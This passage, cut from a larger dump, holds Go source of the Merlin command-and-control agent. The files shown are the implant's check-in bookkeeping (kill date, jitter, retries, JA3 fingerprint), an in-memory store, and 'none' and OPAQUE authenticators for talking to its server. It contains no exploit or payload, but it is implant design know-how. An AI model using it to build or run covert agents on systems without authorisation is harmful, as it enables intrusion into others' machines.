fmt.Sprintf(\"\\tProcess: %s\", agent.process.Name))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tUser Name: %s\", agent.process.UserName))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tUser GUID: %s\", agent.process.UserGUID))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tIntegrity Level: %d\", agent.process.Integrity))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tIPs: %v\", agent.host.IPs))\n\tcli.Message(cli.DEBUG, \"Leaving agent.New function\")\n\n\treturn\n}\n\n// Authenticated returns if the Agent is authenticated to the Merlin server or not\nfunc (a *Agent) Authenticated() bool {\n\treturn a.authenticated\n}\n\n// Comms returns the embedded Comms structure which contains information about the Agent's communication profile but\n// is not the actual client used for network communications\nfunc (a *Agent) Comms() Comms {\n\treturn a.comms\n}\n\n// Failed returns the number of times the Agent has failed to successfully check in\nfunc (a *Agent) Failed() int {\n\treturn a.comms.Failed\n}\n\n// Host returns the embedded Host structure that contains information about the Host where the Agent is running such as\n// the hostname and operating system\nfunc (a *Agent) Host() Host {\n\treturn a.host\n}\n\n// ID returns the Agent's unique identifier\nfunc (a *Agent) ID() uuid.UUID {\n\treturn a.id\n}\n\n// KillDate returns the date, as an epoch timestamp, that the Agent will quit running\nfunc (a *Agent) KillDate() int64 {\n\treturn a.comms.Kill\n}\n\n// MaxRetry returns the configured value for how many times the Agent will try to connect in before it quits running\nfunc (a *Agent) MaxRetry() int {\n\treturn a.comms.Retry\n}\n\n// Process returns the embedded Process structure that contains information about the process this Merlin Agent is running in\n// such as the process id, username, or integrity level\nfunc (a *Agent) Process() Process {\n\treturn a.process\n}\n\n// SetAuthenticated updates the Agent's authentication status\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetAuthenticated(authenticated bool) {\n\ta.authenticated = authenticated\n}\n\n// SetComms updates the Agent's embedded Comms structure with the one provided\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetComms(comms Comms) {\n\ta.comms = comms\n}\n\n// SetFailedCheckIn updates the number of times the Agent has actually failed to check in\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetFailedCheckIn(failed int) {\n\ta.comms.Failed = failed\n}\n\n// SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetInitialCheckIn(checkin time.Time) {\n\ta.initial = checkin\n}\n\n// SetKillDate updates the date, as an epoch timestamp, that the Agent will quit running\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetKillDate(epochDate int64) {\n\ta.comms.Kill = epochDate\n}\n\n// SetMaxRetry updates the number of times the Agent can fail to check in before it quits running\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetMaxRetry(retries int) {\n\ta.comms.Retry = retries\n}\n\n// SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetSkew(skew int64) {\n\ta.comms.Skew = skew\n}\n\n// SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetStatusCheckIn(checkin time.Time) {\n\ta.checkin = checkin\n}\n\n// SetWaitTime updates the amount of time the Agent will wait or sleep before it attempts to check in again\n// The updated Agent object must be stored or updated in the repository separately for the change to be permanent\nfunc (a *Agent) SetWaitTime(wait time.Duration) {\n\ta.comms.Wait = wait\n}\n\n// Skew returns the amount of jitter or skew the Agent is adding to the amount of time it sleeps between check ins\nfunc (a *Agent) Skew() int64 {\n\treturn a.comms.Skew\n}\n\n// Wait returns the amount of time the Agent will wait or sleep between check ins\nfunc (a *Agent) Wait() time.Duration {\n\treturn a.comms.Wait\n}\n"
  },
  {
    "path": "agent/memory/memory.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package memory is an in-memory repository to store or update an Agent object\n\npackage memory\n\nimport (\n\t// Standard\n\t\"sync\"\n\t\"time\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/agent\"\n)\n\n// Repository is the structure that implements the in-memory repository for interacting with the Agent's C2 client\ntype Repository struct {\n\tsync.Mutex\n\tagent agent.Agent\n}\n\n// repo is the in-memory datastore\nvar repo *Repository\n\n// NewRepository creates and returns a new in-memory repository for interacting with the Agent in-memory repository\nfunc NewRepository() *Repository {\n\tif repo == nil {\n\t\trepo = &Repository{\n\t\t\tMutex: sync.Mutex{},\n\t\t}\n\t}\n\treturn repo\n}\n\n// Add stores the Merlin Agent structure to the repository\nfunc (r *Repository) Add(agent agent.Agent) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent = agent\n}\n\n// Get returns the stored Agent structure\nfunc (r *Repository) Get() agent.Agent {\n\treturn r.agent\n}\n\n// SetAuthenticated updates the Agent's authentication status and stores the updated Agent in the repository\nfunc (r *Repository) SetAuthenticated(authenticated bool) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetAuthenticated(authenticated)\n}\n\n// SetFailedCheckIn updates the number of times the Agent has actually failed to check in and stores the updated Agent\n// in the repository\nfunc (r *Repository) SetFailedCheckIn(failed int) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetFailedCheckIn(failed)\n}\n\n// SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server and stores\n// the updated Agent in the repository\nfunc (r *Repository) SetInitialCheckIn(checkin time.Time) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetInitialCheckIn(checkin)\n}\n\n// SetKillDate sets the date, as an epoch timestamp, of when the Agent will quit running and stores the updated Agent\n// in the repository\nfunc (r *Repository) SetKillDate(epochDate int64) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetKillDate(epochDate)\n}\n\n// SetMaxRetry updates the number of times the Agent can fail to check in before it quits running and stores the updated\n// Agent in the repository\nfunc (r *Repository) SetMaxRetry(retries int) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetMaxRetry(retries)\n}\n\n// SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time and stores the updated Agent in\n// the repository\nfunc (r *Repository) SetSkew(skew int64) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetSkew(skew)\n}\n\n// SetSleep updates the amount of time the Agent will wait or sleep before it attempts to check in again and stores the\n// updated Agent in the repository\nfunc (r *Repository) SetSleep(sleep time.Duration) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetWaitTime(sleep)\n}\n\n// SetComms updates the Agent's embedded Comms structure with the one provided and stores the updated Agent in the repository\nfunc (r *Repository) SetComms(comms agent.Comms) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetComms(comms)\n}\n\n// SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server and stores the\n// updated Agent in the repository\nfunc (r *Repository) SetStatusCheckIn(checkin time.Time) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.agent.SetStatusCheckIn(checkin)\n}\n"
  },
  {
    "path": "agent/repository.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage agent\n\nimport \"time\"\n\ntype Repository interface {\n\t// Add stores the Merlin Agent structure to the repository\n\tAdd(agent Agent)\n\t// Get returns the stored Agent structure\n\tGet() Agent\n\t// SetAuthenticated updates the Agent's authentication status and stores the updated Agent in the repository\n\tSetAuthenticated(authenticated bool)\n\t// SetComms updates the Agent's embedded Comms structure with the one provided and stores the updated Agent in the repository\n\tSetComms(comms Comms)\n\t// SetFailedCheckIn updates the number of times the Agent has actually failed to check in and stores the updated Agent\n\t// in the repository\n\tSetFailedCheckIn(failed int)\n\t// SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server and stores\n\t// the updated Agent in the repository\n\tSetInitialCheckIn(checkin time.Time)\n\t// SetKillDate sets the date, as an epoch timestamp, of when the Agent will quit running and stores the updated Agent\n\t// in the repository\n\tSetKillDate(epochDate int64)\n\t// SetMaxRetry updates the number of times the Agent can fail to check in before it quits running and stores the updated\n\t// Agent in the repository\n\tSetMaxRetry(retries int)\n\t// SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time and stores the updated Agent in\n\t// the repository\n\tSetSkew(skew int64)\n\t// SetSleep updates the amount of time the Agent will wait or sleep before it attempts to check in again and stores the\n\t// updated Agent in the repository\n\tSetSleep(sleep time.Duration)\n\t// SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server and stores the\n\t// updated Agent in the repository\n\tSetStatusCheckIn(checkin time.Time)\n}\n"
  },
  {
    "path": "agent/structs.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage agent\n\nimport \"time\"\n\n// Build is a structure that holds information about an Agent's compiled build hash and the Agent's version number\ntype Build struct {\n\tBuild   string // The agent's build hash\n\tVersion string // The agent's version number\n}\n\n// Comms is a structure that holds information about an Agent's communication profile\ntype Comms struct {\n\tFailed  int           // The number of times the agent has failed to check in\n\tJA3     string        // The ja3 signature applied to the agent's TLS client\n\tKill    int64         // The epoch date and time that the agent will kill itself and quit running\n\tPadding int           // The maximum amount of padding that will be appended to the Base message\n\tProto   string        // The protocol the agent is using to communicate with the server\n\tRetry   int           // The maximum amount of times an agent will retry to check in before exiting\n\tSkew    int64         // The amount of skew, or jitter, used to calculate the check in time\n\tWait    time.Duration // The amount of time the agent waits before trying to check in\n}\n\n// Host is a structure that holds information about the Host operating system an Agent is running on\ntype Host struct {\n\tArchitecture string   // The operating system architecture the agent is running on (e.g., x86 or x64)\n\tName         string   // The host name the agent is running on\n\tPlatform     string   // The platform, or operating system, the agent is running on\n\tIPs          []string // A list of interface IP addresses on the host where the agent is running\n}\n\n// Process is a structure that holds information about the Process the Agent is running in/as\ntype Process struct {\n\tID        int    // The process ID that the agent is running in\n\tIntegrity int    // The integrity level of the process the agent is running in\n\tName      string // The process name that the agent is running in\n\tUserGUID  string // The GUID of the user that the agent is running as\n\tUserName  string // The username that the agent is running as\n\tDomain    string // The domain the user running the process belong to\n}\n"
  },
  {
    "path": "authenticators/authenticaters.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package authenticators holds the factories to create structures that implement the Authenticator interface\n// This interface is used by the Agent to authenticate to the server\npackage authenticators\n\nimport (\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Authenticator is an interface used by various authentication methods\ntype Authenticator interface {\n\t// Authenticate performs the necessary steps to authenticate the agent, returning one or more Base messages needed\n\t// to complete authentication. Function must take in a Base message for when the authentication process takes more\n\t// than one step.\n\tAuthenticate(messages.Base) (messages.Base, bool, error)\n\t// Secret returns encryption keys derived during the Agent authentication process (if applicable)\n\tSecret() ([]byte, error)\n\t// String returns a string representation of the Authenticator's type\n\tString() string\n}\n"
  },
  {
    "path": "authenticators/none/none.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package none is used to exclude or bypass authentication mechanisms. When this Authenticator is used, NO authentication is provided\npackage none\n\nimport (\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Authenticator is a structure used for \"none\" authentication\ntype Authenticator struct {\n\tagent uuid.UUID\n}\n\n// New returns a \"none\" Authenticator structure\nfunc New(id uuid.UUID) *Authenticator {\n\treturn &Authenticator{agent: id}\n}\n\n// Authenticate returns true because the none package offers no authentication\nfunc (a *Authenticator) Authenticate(messages.Base) (messages.Base, bool, error) {\n\treturn messages.Base{ID: a.agent, Type: messages.CHECKIN}, true, nil\n}\n\n// Secret returns an empty key because the none package offers no authentication and did not establish a secret\nfunc (a *Authenticator) Secret() ([]byte, error) {\n\treturn []byte{}, nil\n}\n\n// String returns the name of the Authenticator type\nfunc (a *Authenticator) String() string {\n\treturn \"none\"\n}\n"
  },
  {
    "path": "authenticators/opaque/opaque.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package opaque is an authenticator for Agent communications with the server using the OPAQUE protocol\npackage opaque\n\nimport (\n\n\t// Standard\n\t\"crypto/sha256\"\n\t\"fmt\"\n\n\t// 3rd Party\n\t\"github.com/cretz/gopaque/gopaque\"\n\t\"github.com/google/uuid\"\n\t\"golang.org/x/crypto/pbkdf2\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\t\"github.com/Ne0nd0g/merlin-message/opaque\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n)\n\n// Authenticator is a structure used for OPAQUE authentication\ntype Authenticator struct {\n\tagent         uuid.UUID // The Agent's ID\n\tregistered    bool      // If OPAQUE registration has been completed\n\tauthenticated bool      // If OPAQUE authentication has been completed\n\topaque        *User     // The OPAQUE user data structure\n}\n\n// New returns an OPAQUE Authenticator structure used for Agent authentication\nfunc New(id uuid.UUID) *Authenticator {\n\treturn &Authenticator{agent: id}\n}\n\n// Authenticate goes through the entire OPAQUE process to authenticate to the server and establish a shared secret\nfunc (a *Authenticator) Authenticate(in messages.Base) (out messages.Base, authenticated bool, err error) {\n\tout.ID = a.agent\n\tout.Type = messages.OPAQUE\n\n\t// Check for ReRegister and ReAuthenticate messages\n\tif in.Type == messages.OPAQUE {\n\t\tif in.Payload != nil {\n\t\t\tswitch in.Payload.(opaque.Opaque).Type {\n\t\t\tcase opaque.ReRegister:\n\t\t\t\tcli.Message(cli.NOTE, \"Received OPAQUE re-register request\")\n\t\t\t\tif !a.registered {\n\t\t\t\t\tcli.Message(cli.INFO, \"authenticators/opaque.Authenticate(): OPAQUE registration already in progress, doing nothing\")\n\t\t\t\t\treturn messages.Base{}, false, nil\n\t\t\t\t}\n\t\t\t\ta.registered = false\n\t\t\t\ta.opaque = nil\n\t\t\tcase opaque.ReAuthenticate:\n\t\t\t\tcli.Message(cli.NOTE, \"Received OPAQUE re-authenticate request\")\n\t\t\t\ta.authenticated = false\n\t\t\t\tpayload := opaque.Opaque{\n\t\t\t\t\tType:    opaque.RegComplete,\n\t\t\t\t\tPayload: nil,\n\t\t\t\t}\n\t\t\t\tin.Payload = payload\n\t\t\t}\n\t\t}\n\t}\n\n\t// Registration has not successfully completed\n\tif !a.registered {\n\t\t// The initial OPAQUE message generated by the Agent for its first communication with the server will have an empty payload.\n\t\t// All other messages will have an opaque.Opaque payload\n\t\tif in.Payload == nil {\n\t\t\t// Register Init\n\t\t\tout.Payload, a.opaque, err = UserRegisterInit(a.agent, a.opaque)\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"authenticators/opaque.Authenticate(): there was an error creating the OPAQUE User Registration Initialization message: %s\", err)\n\t\t\t}\n\t\t\t// Return opaque.RegInit message\n\t\t\tcli.Message(cli.NOTE, \"Starting OPAQUE Registration\")\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Validate the incoming message is for this agent\n\tif in.ID != a.agent {\n\t\treturn messages.Base{}, false, fmt.Errorf(\"authenticators/opaque.Authenticate(): Incoming message ID %s does not match Agent ID %s\", in.ID, a.agent)\n\t}\n\n\t// Validate the Base message is an OPAQUE type\n\tif in.Type != messages.OPAQUE {\n\t\treturn out, authenticated, fmt.Errorf(\"authenticators/opaque.Authenticate(): Incoming message type %d was not an OPAQUE type %d\", in.Type, messages.OPAQUE)\n\t}\n\n\t// AuthComplete messages have no payload\n\topaqueMessage := in.Payload.(opaque.Opaque)\n\n\tswitch opaqueMessage.Type {\n\tcase opaque.RegInit:\n\t\t// Server returned a RegInit message, start OPAQUE registration completion\n\t\tout.Payload, err = UserRegisterComplete(opaqueMessage, a.opaque)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"authenticators/opaque.Authenticate(): there was an error creating the OPAQUE User Registration Complete message: %s\", err)\n\t\t} else {\n\t\t\ta.registered = true\n\t\t}\n\t\t// Returning an opaque.RegComplete message to the server\n\tcase opaque.RegComplete:\n\t\tcli.Message(cli.NOTE, \"Received OPAQUE server registration complete message\")\n\t\tcli.Message(cli.NOTE, \"Starting OPAQUE Authentication\")\n\t\t// OPAQUE Registration has completed, start OPAQUE Authentication\n\t\t// Build AuthInit message\n\t\tout.Payload, err = UserAuthenticateInit(a.agent, a.opaque)\n\t\t// Returning an opaque.AuthInit message to the server\n\tcase opaque.AuthInit:\n\t\tcli.Message(cli.NOTE, \"Received OPAQUE server authentication initialization message\")\n\t\t// Server returned an AuthInit message, start authentication completion\n\t\tout.Payload, err = UserAuthenticateComplete(opaqueMessage, a.opaque)\n\t\tif err == nil {\n\t\t\ta.authenticated = true\n\t\t\tauthenticated = true\n\t\t}\n\t\t// Returning an opaque.AuthComplete message to the server\n\tcase opaque.ReRegister:\n\t\tcli.Message(cli.NOTE, \"Received OPAQUE server re-registration message\")\n\t\ta.registered = false\n\t\ta.opaque = nil\n\t\tout.Payload, a.opaque, err = UserRegisterInit(a.agent, a.opaque)\n\tcase opaque.ReAuthenticate:\n\t\tcli.Message(cli.NOTE, \"Received OPAQUE server re-authentication message\")\n\t\ta.authenticated = false\n\t\tout.Payload, err = UserAuthenticateInit(a.agent, a.opaque)\n\t\t// Returning an opaque.AuthInit message to the server\n\t}\n\treturn\n}\n\n// Secret returns the established shared secret as bytes\nfunc (a *Authenticator) Secret() (key []byte, err error) {\n\tif !a.authenticated {\n\t\treturn nil, fmt.Errorf(\"authenticators/opaque.Secret(): the Agent has not completed OPAQUE authentication\")\n\t}\n\treturn []byte(a.opaque.Kex.SharedSecret.String()), nil\n}\n\n// String returns the name of the Authenticator type\nfunc (a *Authenticator) String() string {\n\treturn \"OPAQUE\"\n}\n\n// User is the structure that holds information for the various steps of the OPAQUE protocol as the user\ntype User struct {\n\treg         *gopaque.UserRegister         // User Registration\n\tregComplete *gopaque.UserRegisterComplete // User Registration Complete\n\tauth        *gopaque.UserAuth             // User Authentication\n\tKex         *gopaque.KeyExchangeSigma     // User Key Exchange\n\tpwdU        []byte                        // User Password\n}\n\n// UserRegisterInit is used to perform the OPAQUE Password Authenticated Key Exchange (PAKE) protocol Registration steps for the user\nfunc UserRegisterInit(AgentID uuid.UUID, user *User) (opaque.Opaque, *User, error) {\n\tcli.Message(cli.DEBUG, \"Entering into opaque.UserRegisterInit...\")\n\tvar userRegInit *gopaque.UserRegisterInit\n\t// If Registration was previously started, but unsuccessful, the User variable will not be nil\n\tif user == nil {\n\t\tvar newUser User\n\t\t// Generate a random password and run it through 5000 iterations of PBKDF2; Used with OPAQUE\n\t\tx := core.RandStringBytesMaskImprSrc(30)\n\n\t\tagentIDBytes, err := AgentID.MarshalBinary()\n\t\tif err != nil {\n\t\t\treturn opaque.Opaque{}, nil, fmt.Errorf(\"there was an error marshalling the AgentID to bytes: %s\", err)\n\t\t}\n\n\t\tnewUser.pwdU = pbkdf2.Key([]byte(x), agentIDBytes, 5000, 32, sha256.New)\n\n\t\t// Build OPAQUE User Registration Initialization\n\t\tnewUser.reg = gopaque.NewUserRegister(gopaque.CryptoDefault, agentIDBytes, nil)\n\t\tuser = &newUser\n\t}\n\n\tuserRegInit = user.reg.Init(user.pwdU)\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE UserID: %x\", userRegInit.UserID))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE Alpha: %v\", userRegInit.Alpha))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE PwdU: %x\", user.pwdU))\n\n\tuserRegInitBytes, errUserRegInitBytes := userRegInit.ToBytes()\n\tif errUserRegInitBytes != nil {\n\t\treturn opaque.Opaque{}, user, fmt.Errorf(\"there was an error marshalling the OPAQUE user registration initialization message to bytes:\\r\\n%s\", errUserRegInitBytes.Error())\n\t}\n\n\t// Message to be sent to the server\n\tregInit := opaque.Opaque{\n\t\tType:    opaque.RegInit,\n\t\tPayload: userRegInitBytes,\n\t}\n\n\treturn regInit, user, nil\n}\n\n// UserRegisterComplete consumes the Server's response and finishes OPAQUE registration\nfunc UserRegisterComplete(regInitResp opaque.Opaque, user *User) (opaque.Opaque, error) {\n\tcli.Message(cli.DEBUG, \"Entering into opaque.UserRegisterComplete...\")\n\n\tif regInitResp.Type != opaque.RegInit {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"expected OPAQUE message type %d, got %d\", opaque.RegInit, regInitResp.Type)\n\t}\n\n\t// Check to see if OPAQUE User Registration was previously completed\n\tif user.regComplete == nil {\n\t\tvar serverRegInit gopaque.ServerRegisterInit\n\n\t\terrServerRegInit := serverRegInit.FromBytes(gopaque.CryptoDefault, regInitResp.Payload)\n\t\tif errServerRegInit != nil {\n\t\t\treturn opaque.Opaque{}, fmt.Errorf(\"there was an error unmarshalling the OPAQUE server register initialization message from bytes:\\r\\n%s\", errServerRegInit.Error())\n\t\t}\n\n\t\tcli.Message(cli.NOTE, \"Received OPAQUE server registration initialization message\")\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE Beta: %v\", serverRegInit.Beta))\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE V: %v\", serverRegInit.V))\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE PubS: %s\", serverRegInit.ServerPublicKey))\n\n\t\t// TODO extend gopaque to run RwdU through n iterations of PBKDF2\n\t\tuser.regComplete = user.reg.Complete(&serverRegInit)\n\t}\n\n\tuserRegCompleteBytes, errUserRegCompleteBytes := user.regComplete.ToBytes()\n\tif errUserRegCompleteBytes != nil {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"there was an error marshalling the OPAQUE user registration complete message to bytes:\\r\\n%s\", errUserRegCompleteBytes.Error())\n\t}\n\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE EnvU: %x\", user.regComplete.EnvU))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE PubU: %v\", user.regComplete.UserPublicKey))\n\n\t// message to be sent to the server\n\tregComplete := opaque.Opaque{\n\t\tType:    opaque.RegComplete,\n\t\tPayload: userRegCompleteBytes,\n\t}\n\n\treturn regComplete, nil\n}\n\n// UserAuthenticateInit is used to authenticate an agent leveraging the OPAQUE Password Authenticated Key Exchange (PAKE) protocol\nfunc UserAuthenticateInit(AgentID uuid.UUID, user *User) (opaque.Opaque, error) {\n\tcli.Message(cli.DEBUG, \"Entering into opaque.UserAuthenticateInit...\")\n\n\tagentIDBytes, err := AgentID.MarshalBinary()\n\tif err != nil {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"there was an error marshalling the AgentID to bytes: %s\", err)\n\t}\n\n\t// 1 - Create a NewUserAuth with an embedded key exchange\n\tuser.Kex = gopaque.NewKeyExchangeSigma(gopaque.CryptoDefault)\n\tuser.auth = gopaque.NewUserAuth(gopaque.CryptoDefault, agentIDBytes, user.Kex)\n\n\t// 2 - Call Init with the password and send the resulting UserAuthInit to the server\n\tuserAuthInit, err := user.auth.Init(user.pwdU)\n\tif err != nil {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"there was an error creating the OPAQUE user authentication initialization message:\\r\\n%s\", err.Error())\n\t}\n\n\tuserAuthInitBytes, errUserAuthInitBytes := userAuthInit.ToBytes()\n\tif errUserAuthInitBytes != nil {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"there was an error marshalling the OPAQUE user authentication initialization message to bytes:\\r\\n%s\", errUserAuthInitBytes.Error())\n\t}\n\n\t// message to be sent to the server\n\tauthInit := opaque.Opaque{\n\t\tType:    opaque.AuthInit,\n\t\tPayload: userAuthInitBytes,\n\t}\n\n\treturn authInit, nil\n}\n\n// UserAuthenticateComplete consumes the Server's authentication message and finishes the user authentication and key exchange\nfunc UserAuthenticateComplete(authInitResp opaque.Opaque, user *User) (opaque.Opaque, error) {\n\tcli.Message(cli.DEBUG, \"Entering into opaque.UserAuthenticateComplete...\")\n\n\tif authInitResp.Type != opaque.AuthInit {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"expected OPAQUE message type: %d, received: %d\", opaque.AuthInit, authInitResp.Type)\n\t}\n\n\t// 3 - Receive the server's ServerAuthComplete\n\tvar serverComplete gopaque.ServerAuthComplete\n\n\terrServerComplete := serverComplete.FromBytes(gopaque.CryptoDefault, authInitResp.Payload)\n\tif errServerComplete != nil {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"there was an error unmarshalling the OPAQUE server complete message from bytes:\\r\\n%s\", errServerComplete.Error())\n\t}\n\n\t// 4 - Call Complete with the server's ServerAuthComplete. The resulting UserAuthFinish has user and server key\n\t// information. This would be the last step if we were not using an embedded key exchange. Since we are, take the\n\t// resulting UserAuthComplete and send it to the server.\n\tcli.Message(cli.NOTE, \"Received OPAQUE server complete message\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE Beta: %x\", serverComplete.Beta))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE V: %x\", serverComplete.V))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE PubS: %x\", serverComplete.ServerPublicKey))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"OPAQUE EnvU: %x\", serverComplete.EnvU))\n\n\t_, userAuthComplete, errUserAuth := user.auth.Complete(&serverComplete)\n\tif errUserAuth != nil {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"there was an error completing OPAQUE authentication:\\r\\n%s\", errUserAuth)\n\t}\n\n\tuserAuthCompleteBytes, errUserAuthCompleteBytes := userAuthComplete.ToBytes()\n\tif errUserAuthCompleteBytes != nil {\n\t\treturn opaque.Opaque{}, fmt.Errorf(\"there was an error marshalling the OPAQUE user authentication complete message to bytes:\\r\\n%s\", errUserAuthCompleteBytes.Error())\n\t}\n\n\tauthComplete := opaque.Opaque{\n\t\tType:    opaque.AuthComplete,\n\t\tPayload: userAuthCompleteBytes,\n\t}\n\n\treturn authComplete, nil\n}\n"
  },
  {
    "path": "authenticators/rsa/rsa.go",
